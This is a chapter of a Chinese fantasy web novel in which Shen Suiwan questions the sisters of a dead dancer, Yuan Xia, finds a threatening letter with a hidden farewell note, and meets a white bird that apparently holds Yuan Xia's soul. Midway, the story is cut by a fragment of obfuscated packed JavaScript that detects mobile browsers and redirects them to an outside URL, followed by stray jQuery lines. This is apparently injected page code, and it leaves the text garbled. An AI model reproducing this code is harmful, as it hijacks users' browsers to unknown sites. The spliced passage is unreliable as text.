沈岁晚当即赶到雅堂查看情况。
只见台上抱琵琶的姑娘临危不乱,续上断弦后的乐调,原本如泣如诉的曲子变得悲壮恢宏,其他弹奏古琴的二人立马跟上,古朴悠扬的曲调让闻者落泪,见者悲伤,一曲终了,台下的看客有的擦泪掩面,有的鼓掌喝彩,总算挥去些这几天魔虫毒害带来的阴云。
“好!好啊!”
“久听闻盏香楼内的姑娘个个才艺双绝,今日一见,果然如此啊!”
“春姑娘,之前那个跳舞的姑娘呢,如此好的音乐,少了她真是可惜啊!”
台上演奏三人,中间的姑娘怀抱琵琶,眉目如画,气质温和,两旁的姑娘手抚古琴,一人眉黛轻蹙,面带愁绪,一人冰霜玉洁,眉目清冷。
怀抱琵琶的姑娘起身,语气悲婉:“先生,元夏她……她今早刚下葬了。”
这人应就是元春。
众人哗然。
元夏的舞姿他们是见过的,身姿明艳,一翩一动如火如画,加之她那张姿容绝代的脸,更是让人印象深刻。
毕竟方才这一场如泣如诉的曲子,少了这位美人的身姿实属遗憾。
可惜,谁也不曾想一代美人就此香消玉殒。
看客们惋惜了好一会,有几个角落的更是涕流满面,肝肠寸断,好像死的是他们自己一样。
沈岁晚往那边看了一眼,发现元春几人过来,便立即决定把情报任务交给谢霜序。
她扯过谢霜序的衣角,对方自然而然地弯腰倾听:“小师弟,我现在要交给你一个重要任务,帮我去探探那几人和元夏什么关系。”
谢霜序听后,嘴角一弯,又装成小绿茶:“虽然师姐什么都不告诉我,但我还是会帮师姐的。”
他把自己伪装成一副可怜模样,沈岁晚真是拿谢霜序没办法,无奈:“会告诉你的,你可是我最亲爱的小师弟。”
“以后也会?”
“嗯嗯嗯。”
谢霜序狐狸似的眼里闪烁着计谋得逞的笑意,沈岁晚反应慢一拍,突然意识到她又被这人纯良的外表骗了。
可是好感度为什么一点没涨啊!
难不成这种程度的接触已经行不通了!?沈岁晚思绪悠悠转,难不成非要个kiss才行?!
呸呸呸,她在想什么,都怪那个系统这几天老是和她讲这些黄色废料。
“清净,清净。”沈岁晚默念,抬眼正好碰见来此的元春几人。
“小姐,是你要见我们吗?”元春问。
沈岁晚微微一笑,倒了一杯茶让元春她们先坐下。
她道出目的:“元夏的死亡太蹊跷了,我是想问你们那天她有什么奇怪的地方吗?”
“元夏她…你也觉得她的死有蹊跷是吗!”满脸愁倦的女子凄厉道,身旁清冷的姑娘将帕子递给她,拍着她的背。
沈岁晚被女子突如其来的话吓到,瞳孔不由放大。
“够了,元秋,人已经走了,元夏若是还在会希望你继续以泪洗面下去?”元春一向平稳的声音带上了颤抖,似乎也在悲痛手足姐妹的离去。
“抱歉小姐,元秋和元夏的关系好刚刚情绪激动了,我向你道个歉。”她鼻翼微微翕动,转瞬间调整好情绪,抱歉地看向沈岁晚,随后介绍,“这是元秋,这是元冬。”
气质清冷的女子向沈岁晚微微点头,应该是元冬。
元秋也从情绪中抽离出来看向沈岁晚,为方才的失礼抱歉,只是眉间愁云依旧不散。
沈岁晚淡淡一笑,问:“你们可以将自己认为那天元夏异常的举动都说出来,没关系,越多越好。”
“异常?前一晚我好像看见她在看一封信,当时我一进房间她就慌慌张张地把信藏在背后。”元秋回忆细节,内心更是后悔不已,“我…我应该早发现的,都怪我!”
“不怪你,谁也没想到意外会突然发生。”沈岁晚安慰,“你们还知道元夏那一天做了什么吗,或者把她那天做了什么说出来也可以。”
元春凝眉回忆,讲那天的细节道出:
“那天和平日并无二致,我们四个平日很忙,要招待客人,但都会抽出时间约定在周三傍晚出游,但是……那次元夏来得比平日慢了很多,平日里她向来是最早到的那个,我以为她是因为楼内的事情耽搁了。到了晚上同游,我看她一路心神不定,时而惊慌,时而看向四周。”
“等等,这会不会是一种线索。”
“是了,姐姐。”沈岁晚含笑,为任务有了进展而高兴,“我们可以去问问掌事嬷嬷那天元夏有没有楼内。”
一旁的元冬并未出声,冷清的脸上看不出什么情绪。
事不宜迟,几人找到掌事嬷嬷,沈岁晚问:“嬷嬷,你知道周三那天元夏一直在楼内吗?”
“元夏?那天她不在执事手册上了。”嬷嬷瞧了她们一眼,拿出一本蓝色的手册。
蓝色手册内记录了每日盏香楼的出勤情况,嬷嬷翻到周三的那页,细看上下的记录,的的确确没有元夏的记录。
是了,那就可以排除元夏是因为楼内事情耽搁这一点了。
沈岁晚食指抵着下颚稍一沉思:“去她房间看看信还在不在。”
“等一下小姐。”元春温和地走来,手里提着一件红色风衣兜帽,正好可以盖住沈岁晚的兽耳与尾巴。
元春像个大姐姐一样,帮沈岁晚穿好衣服,温和道:“我先前以为那是假的,先穿上这个吧,会方便很多。”
沈岁晚全程乖巧,弄好后眨眨眼说:“谢谢姐姐。”
*
元夏与元秋住在一起,许是从小到大的感情,所以元夏的东西她都没有动,依然原封不动放在那。
元秋在元夏的床上摸索了一番,拿出一封泛黄的信纸,她把信纸递给沈岁晚,细声:“你看看是不是这个,我识不得字。”
沈岁晚接过,将信纸张开,上面写着:
“三月初二,情人湖见,只有你一个人,若是让我发现还有别的人跟着,这天就是那人的死期,莫要怪我无情。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15290153|167000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>沈岁晚皱眉,三月初二也就是周三,元夏那天去情人湖去做什么?
她捻了捻信纸,突然感到信纸分离的感觉,仔细一看,下面竟然还有一层薄薄的纸。
沈岁晚与元秋几人面面相觑,最后将下面的纸逐渐抽离,依稀可见的清秀字体缓缓露出:
“元夏自幼喜好风月,生性自由,幼时不慎落水,幸得贵人相助苟得一命,元夏知恩,愿为贵人赴汤蹈火,犯下许多错事,如今狐死首丘,是时候该结束了。”
信纸的最后写着:
“元夏此生已无憾,唯愧手足姐妹之情,来世愿做空中鸟,庇佑不豫。”
当沈岁晚读完最后一个字时,元春与元秋已泪流满面,就连元冬冷若冰霜的脸也有些动容。
“我…我为什么一直没发现,都怪我,都怪我!”元秋本就容易多愁善感,此刻听完更是已然崩溃,她死死盯着房内的墙壁,似乎想撞上去一死了之。
她甫一动作,就被一直注意她的沈岁晚察觉到。
沈岁晚情急催动异能:“不准死!至少现在不能!”
她温柔注视着元秋,说出的话仿佛有一种抚慰心灵的力量:
“我知道你很难过,但…你回头看看窗子,有一只白鸟,元夏不会希望看到你这个样子的。”
不知何时,窗边竟然停落了一只白鸟,它的羽毛在光的照耀下闪烁着金光,它的头上束着一根红色的翎羽,眼睛是澄黑色的,正目不转睛地盯着元秋。
元秋只感觉到一种温暖的力量涌向四肢,那种求死的欲望倏然消失,她怔神地盯着白鸟,好似看见故人。
白鸟歪了歪头,飞进房间栖落于元秋的肩上,红色的翎羽轻轻抚摸着元秋的头发,溜黑的眼睛似乎溢满了悲伤。
元秋看懂了白鸟的悲伤,迟疑地将手放在白鸟的羽毛上:“是你吗?元夏。”
她看起来情绪稍微稳定了些。
沈岁晚松了一口气,元秋的情绪算是暂时解决了。
一道极其微弱的少女声音响起:“快!用我!我可以和她对话。”
沈岁晚差点没被吓一跳,惊疑不定地扫向屋内几人,排除不是她们,最后才将怀疑的目光投向意识海。
只见原本盛华着的莲花上出现了另一个东西,一个扎着丸子头的小萝莉盘坐在那,嘟着嘴,无聊得在莲花上滚来滚去,要死地呐喊。
突然,她动作一顿,仿佛察觉到沈岁晚的视线,眼睛发亮:“主人!主人!这小鸟里面装成你要找的人的魂魄,我可以帮你,可以让我想出去玩吗!”
沈岁晚踉跄地扶了扶椅,不敢相信突然多出了个小孩的震惊。
她深吸一口气。
得,接受现实,这估计是她长大后的精神力,她哄着小孩:“嗯,我知道了,明天再放你出来,乖。”
“好耶,谢谢主人!”
沈岁晚头疼地看向白鸟,正好白鸟也看向她,她的眼睛就在白鸟注视下转为金瞳。
“我能看见你,你是元夏吗?”